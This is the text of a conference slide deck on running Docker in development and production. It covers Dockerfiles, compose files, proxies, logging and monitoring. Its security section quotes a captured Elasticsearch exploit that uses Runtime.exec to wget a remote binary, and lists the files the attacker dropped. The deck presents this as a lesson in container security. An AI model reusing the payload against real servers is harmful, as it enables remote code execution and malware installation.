Real World Experience of Running Docker in Development and Production

Real World Experiences of Running
Docker in Development and Production
@Ben_Hall
Ben@BenHall.me.uk
OcelotUproar.com / Katacoda.com

@Ben_Hall / Blog.BenHall.me.uk
Tech Support > Tester > Developer >
Founder
Software Development Studio
WHOAMI?

Agenda
• Continuous Integration and Development
• Orchestration
• Security
• Logging and Monitoring
• Debugging
• Scaling

Beyond the hype. How do
containers work in the real world?

https://www.docker.com/whatisdocker/
Container

Own Process Space
Own Network Interface
Own Root Directories
Sandboxed
Like a lightweight VM. But it’s not a VM.
Container

Native CPU
Native Memory
Native IO
No Pre-Allocation
No Performance Overheard
Container

Milliseconds to launch
Still fully isolated

Docker - An open platform for distributed
applications for developers and sysadmins.

Batteries included but
removable

Continuous Integration and
Development

Node, Golang, Postgres and
Redis
Katacoda

> docker run –p 6379:6379 redis
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit
.-`` .-```. ```/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 1
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | http://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.3
1:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition.
To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl
vm.overcommit_memory=1' for this to take effect.
1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will
create latency and memory usage issues with Redis. To fix this issue run the command 'echo never >
/sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a
reboot. Redis must be restarted after THP is disabled.
1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because
/proc/sys/net/core/somaxconn is set to the lower value of 128.
1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379

> docker run --name db -d postgres
> docker logs db
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".
Data page checksums are disabled.
fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting dynamic shared memory implementation ... posix
creating configuration files ... ok
creating template1 database in /var/lib/postgresql/data/base/1 ... ok
initializing pg_authid ... ok

> cat docker-compose-dev.yml
redis:
image: redis:2.8.21
ports:
- 6379:6379
restart: always
db:
build: pg-schema # Includes Schema and migrations
ports:
- 5432:5432
environment:
POSTGRES_PASSWORD: 'mysecretpassword'
restart: always
> docker-compose –f docker-compose-dev.yml up –d

Node.js
> docker run -it --rm
-w /usr/app
-v $(pwd):/usr/app
-v $(pwd)/d_node_modules:/usr/app/node_modules
-p 3000:3000
node:0.10.38
bash

RStudio
> docker run -d -p 8787:8787 rocker/rstudio

> docker run --name=selenium
--privileged
-p 4444:4444 -p 5999:5999
-d vvoyer/docker-selenium-firefox-chrome
> cat load-test.js
function detectBrowser(name) {
wd.remote({ host: 'b2d',
desiredCapabilities: {
browserName: name
}
})
.init()
.url('http://www.whatismybrowser.com/')
.getText('.string-major', function(err, text) {
console.log(name + 'browser was detected as ' + text);
})
.end();
}
['chrome', 'firefox'].forEach(detectBrowser);
https://github.com/BenHall/docker-selenium-example

> cat Dockerfile
FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY . /usr/src/app
RUN npm install
CMD [ "npm", "start" ]
> docker build –t nodeapp .
> docker run –d –p 3000 nodeapp

> cat Dockerfile
FROM node:0.10.38
COPY package.json /usr/src/app/
RUN npm install
COPY . /usr/src/app

> cat Dockerfile-onbuild
FROM node:0.10.38
ONBUILD COPY package.json /usr/src/app/
ONBUILD RUN npm install
ONBUILD COPY . /usr/src/app
> cat Dockerfile
FROM node:0.10.38-onbuild
EXPOSE 3000

> cat Dockerfile
FROM ocelotuproar/alphine-node:4.2.1-onbuild
EXPOSE 3000
> curl https://raw.githubusercontent.com/OcelotUproar/alphine-
node/master/Dockerfile
FROM alpine:3.2
# Thanks to https://github.com/mhart/alpine-node
ENV VERSION=v4.2.1
RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ &&
curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz &&
cd /node-${VERSION} &&
./configure --prefix=/usr &&
make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) &&
make install &&
paxctl -cm /usr/bin/node &&
cd / &&
npm install -g npm@2 &&
find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf;
apk del curl make gcc g++ python linux-headers paxctl &&
rm -rf /etc/ssl /node-${VERSION}
/usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp
/usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html

> docker images
scrapbook/redis-node-docker-example 703.3 MB
node:0.10.38-onbuild 702.9 MB
> docker images
scrapbook/redis-node-docker-example 35.4 MB
ocelotuproar/alphine-node:4.2-onbuild 35.02 MB

Go Lang Development
Environment
> docker run -it --rm
-w /go/src/github.com/myapp
-v $(pwd)/vendor/github.com/:/go/src/github.com/
-v $(pwd):/go/src/github.com/myapp
golang:1.4
bash

> cat MakeFile
build-dev copy build-release:
echo ”Building Release Image"
build-dev:
docker build –f Dockerfile-dev –t warden-dev .
copy:
docker create --name tmp warden-dev
docker cp tmp:/go/bin/app $(shell pwd)/app
docker rm tmp
build-release:
docker build –t ocelotuproar/warden

> cat Dockerfile-dev
FROM golang:latest
RUN mkdir /app
ADD . /app/
WORKDIR /app
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix
cgo -o main .
CMD ["/app/main”]
EXPOSE 80
> cat Dockerfile
FROM scratch
EXPOSE 80
COPY app /
CMD ["/app"]

> docker images
scrapbook/docker-http-server 528.9 MB
golang:latest 517.3 MB
> docker images
scrapbook/docker-http-server 5.812 MB

CI becomes very simple
Exit Codes

Private Registry
Like hub.docker.com
Just a container

Containers can’t fix broken
architectures.
But they can help…

Production isn’t special
Just another environment

Immutable
Disposable Container Pattern

Persisting Data
> docker run –v <host-dir>:<container-dir> image
-v /opt/docker/elasticsearch:/data
-v /opt/docker/mysql:/var/lib/mysql
-v /docker/scrapbook/uploads:/app/public/uploads
-v $(PWD):/host
-v /var/log/syslog:/var/log/syslog

> docker-compose up -d
> cat docker-compose.yml
web:
image: ocelotuproar/katacoda
volumes:
- /opt/projects/katacoda/data:/usr/src/app/data
- /opt/docker/katacoda/db:/usr/src/app/ocelite-db
- /var/run/docker.sock:/var/run/docker.sock
ports:
- 3000
environment:
VIRTUAL_HOST: 'katacoda.com,*.katacoda.com'
NODE_ENV: 'production’
restart: always
// Production version of docker-compose-dev.yml

> docker-compose up # Start containers
–d # In background
Recreating katacoda_nginx_1...
Recreating katacoda_redis_1...
Recreating katacoda_db_1...
Recreating katacoda_elasticsearch_1...
Recreating katacoda_web_1…
> docker-compose stop # Stop containers
Stopping katacoda_web_1...
Stopping katacoda_elasticsearch_1...
Stopping katacoda_db_1...
Stopping katacoda_redis_1...
Stopping katacoda_nginx_1...

Sidekick Containers for
backup
Pushes to Dropbox
Cost effective

Auto Discovery is key to a
good container architecture

Problematic Approach
> docker run -d --name nginx_root
--link blog_benhall-1:blog_benhall-1
--link katacoda-1:katacoda-1
--link scrapbook_web_1:scrapbook_web_1
--link brownbag_web_1:brownbag_web_1
-p 80:80
-v /opt/docker/nginx/www:/data
-v /opt/docker/nginx/sites:/etc/nginx/sites-enabled
-v /opt/docker/nginx/logs:/var/log/nginx
nginx

Nginx Proxy
https://github.com/jwilder/nginx-proxy
https://www.dropbox.com/s/2f6y2frfjafc409/nginx-proxy-optimised.gif?dl=0

• -v /var/run/docker.sock:/tmp/docker.sock
• VIRTUAL_HOST=my.container.com

Rolling Updates Node.js
> docker run –e VIRTUAL_HOST=myapp myapp:v2.0
// Make some changes
> docker build –t myapp:v2.1
> docker run –e VIRTUAL_HOST=myapp myapp:v2.1
// Load Balanced
> docker stop <container for myapp:v2.0>

Using Nginx Proxy to scale
Node.js
> docker-compose scale web=5

Problem: Multiple Docker
Hosts

Weave
> weave launch
> docker run –name ws web-server
// second host
> weave launch <host-01 ip>
> docker run --name ws -d -p 80:80
scrapbook/docker-http-server
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.1)

Weave DNS

Auto Discovery allows you to
dynamically adapt your
infrastructure

> docker run -d --name nginx
-p 80:80
--link blog_benhall:wordpress
nginx-wordpress-example
Nginx
Wordpress
blog_benhall

> docker run -d –name varnish
--link blog_benhall:websiteBeingCached
benhall/docker-varnish
Nginx Varnish
blog_benhall_varnish
Wordpress
blog_benhall
> docker run -d --name nginx
-p 80:80
--link varnish:wordpress
nginx-wordpress-example

Common Question: Is it
secure?

Hosting provider becomes
unhappy

org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
C /etc/rc3.d
C /etc/rc4.d
C /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss

Only as secure as the
contents running in the
container

Docker Logging Options
> docker run --log-driver=syslog redis
> docker run --log-driver=none redis
> docker run --log-driver=json-file
--log-opt=""
redis
--log-opt max-size=[0-9+][k|m|g]
--log-opt max-file=[0-9+]
--log-opt max-size=50m
--log-opt max-file=100

ELK + LogSpout
> docker run -d
-p 8000:8000
-v /var/run/docker.sock:/tmp/docker.sock
--name logspout
gliderlabs/logspout:master syslog://192.168.99.100:5000
https://github.com/benhall/docker-elk

> docker run -d
--restart=always # Restart if exits non-zero
redis

> docker exec –it <container-name> bash
> docker exec -it scrapbookv2prototype_nginx_1
cat /etc/nginx/conf.d/default.conf
upstream katacoda.com {
server 172.17.0.30:3000;
}
server {
server_name katacoda.com;
listen 80 ;
access_log /var/log/nginx/access.log vhost;
location / {
proxy_pass http://katacoda.com;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_http_version 1.1;
}

> docker run –it --name sysdig
--privileged
-v /var/run/docker.sock:/host/var/run/docker.sock
-v /dev:/host/dev
-v /proc:/host/proc:ro
-v /boot:/host/boot:ro
-v /lib/modules:/host/lib/modules:ro
-v /usr:/host/usr:ro
sysdig/sysdig

Summary
• Batteries included but removable
• Containers are a new way of thinking,
embrace and extend
• New tools and approaches to solving
problems
• Don’t corrupt your host. Everything as a
container

Thank you!
@Ben_Hall
Ben@BenHall.me.uk
Blog.BenHall.me.uk
www.Katacoda.com

Real World Experience of Running Docker in Development and Production

More Related Content

What's hot (20)

Viewers also liked (13)

Similar to Real World Experience of Running Docker in Development and Production (20)

More from Ben Hall (18)

Recently uploaded (20)

Real World Experience of Running Docker in Development and Production

Editor's Notes